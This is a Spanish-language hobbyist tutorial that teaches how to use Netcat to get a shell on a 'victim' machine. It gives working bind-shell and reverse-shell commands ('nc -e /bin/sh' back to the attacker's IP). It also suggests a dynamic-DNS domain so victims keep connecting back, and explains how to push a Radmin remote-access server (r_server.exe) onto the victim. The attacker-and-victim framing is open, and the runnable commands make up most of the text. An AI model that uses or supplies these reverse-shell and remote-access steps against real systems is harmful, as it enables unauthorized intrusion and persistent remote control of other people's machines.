Manual Para el Netcat


Pues bien aqui viene el manual: (Escrito por Kasswed) Wiki, me animé a hacer el manual, espero que os guste y que me déis consejos a mejorarlo o a quitarle fallos que seguro que hay.

Descarga Netcat

http://foro.yourillusion.com.ar/index.php?topic=7.0 o http://rapidshare.com/files/40243631/netcat.zip.html

Introduccion

Como muchos sabréis NetCat se ha venido haciendo más famoso cada día. Esta fantástica herramienta que nos permite hacer muchísimas cosas... Desde montar un chat, hasta enviar ficheros o averiguar datos sonbre un web, por ello NetCat (ó NC) se ha ido convirtiendo tan famoso.

En este manual no voy a explicar cómo hacer un chat, ni ninguna de sus ualidades, lo que voy a intentar explicar es cómo conseguir una shell (una consola, una terminal, un programa de comandos etc) haciendo uso de él.

Preparándose ncesitamos una shell, tanto de windows como de Linuc o del SO que sea.

Los de Linux podéis encontrar NC en sourceforge por ejemplo, en cuanto a lo usuarios de Windows, una vez que lo bajéis descomprimidlo en system32, para hacer más fácil su manejo.

Víctima y atacante

Bueno, quería dejar una cosa clara antes de comenzar. Este texto lo he escrito en mi máquina de windows, asi que el atacante será 192.168.1.33 con sun SO de windows, y la víctima será 192.168.1.34 con un SO de Linux. Dicho esto pasemos a la acción.

Obtener una shell directamente:

Una shell directa es bastante fácil de lograr, pero no es la más recomendada, conforme vayáis leyendo os daréis cuenta de sus desventajas.

Para lograr una shell directa el equipo víctima tiene que ejecutar el siguiente comando:

Código: nc -l -e /bin/sh -p 6000

Os preguntaréis, y qué es todo eso? Pues os lo explico:

nc Ahí invocamos al NetCat -l Para poner a la escucha un puerto -e Sirve para llamar a la ejecución de un programa. /bin/sh Es la shell de Linux, en windows sería cmd.exe -p Para indicar qué puerto queremos poner a la escucha

De tal manera que lo que hacemos en la víctima es poner a la escucha el puerto 6000, sirviendo para alguna conexión remota el programa /bin/sh, que es la shell de Linux. Si la víctima es un SO Windows, este progama sería cmd.exe.

Una vez hecho eso en la víctima nos queda conectar con ella, con la máquina atacante. Para ello simplemente indicamos IP y PUERTO:

nc -vv

Donde: -vv Sirve para dar más datos, es decir, datos detallado de la conexión. Aquí va la IP de la víctima. Aquí el Puerto de conexión.

En mi ejemplo el comando quedó de la siguiente manera:

Código: nc -vv 192.168.1.34 6000

Y obtení una shell de mi máquina Linux, hice un dir y me devolvió los datos:

NOTA: En este ejemplo no aparece el clásico "c:\" porque la víctima es un SO Linux, si fuera un Windows si aparecería.Otra cosa importante a decir es que si tenemos un router o firewall, debéis abrir los puertos, sino nada servirá.

Obtener una shell inversa:

Para mí, para mí... esta es la manera más eficaz de obtener una shell, porque tú no te conectas a tu víctima, es ella quien se conecta a ti. Veámoslo con un ejemplo:

En la máquina atacante pongo este comando:

Código: nc -vv -l -p 6000

De manera que pongo a la escucha el puerto 6000.

En mi máquina víctima (Linux) pongo el siguiente comando:

Código: nc -e /bin/sh 192.168.1.33 6000

Así creo que lo entendemos mejor. Es decir, la víctima sirve la shell y se conecta al atacante. Esto tiene muchas ventajas, ya que si por ejemplo tienes una víctima con IP Dinámica (la IP cambia cada X tiempo) no podrás tenerla como víctima el tiempo que quieras, y cuando intentes conectar no podrás porque su IP habrá cambiado. Pero si n cambio es ella la que se conecta a ti, ahí estás ganando, porque tú puedes ponerte un dominio NO-IP por ejemplo, y cada vez que te pongas a la escucha recibirás la shell.

De manera que comprobado con mis dos máquinas, funciona:

Enviar y recibir archivos con NetCat:

Para poder enviar y recibir archivos con NetCat (ojo, por NetCat, no por tFTP ni nada de eso) es necesario ejecutar comandos en ambas máquinas, apuntando al archivo que se quiera mandar, de la siguiente forma:

Suponiendo que el atacante quiere enviar un servidor Radmin a la víctima:

Código: nc < "Archivo"

Y para recibir:

Código: nc -l -p > "Archivo"

De tal manera que si quiero enviar: r_server.exe haré:

Código: nc 192.168.1.34 6000 < "r_server.exe"

Y en la máquina víctima:

Código: nc -l -p 6000 > "r_server.exe"

Nota: La transferencia de archivos por NetCat es muy básica y se aconseja no usarla, puede ser lenta y mala.

Otros métodos de transferencia de archivos:

Al ser la transferencia por NetCat "mala y lenta", podemos usar otros métodos de transferencia de archivos, una vez que hayamos conseguido shell.

Uno de ellos es el tFTP, del cual no voy a explicar nada porque no viene a cuento, pero podéis buscar manuales en google.

Otro método de transferencia es FTP, un cliente FTP lo tiene cualquier SO por defecto, sólo hay que conectarse al servidor FTP y de ahí descargar; igual que con tFTPpodéis buscar algún manual.

Bueno, ahí termina el manual de NetCat, espero que lo haya explicado todo bien, por lo menos lo he intentado, si queréis ahcerme alguna sugerencia sobre qué ponerle más o lo que sea, decídmelo ya! xD.

Hasta aqui va el manual Facil no?, si tienes dudas pregunta...., pero creo que esta bastante claro el manual.... XD Para todo aquellos q buscaban uno.

eXTReMe Tracker
Paguina principal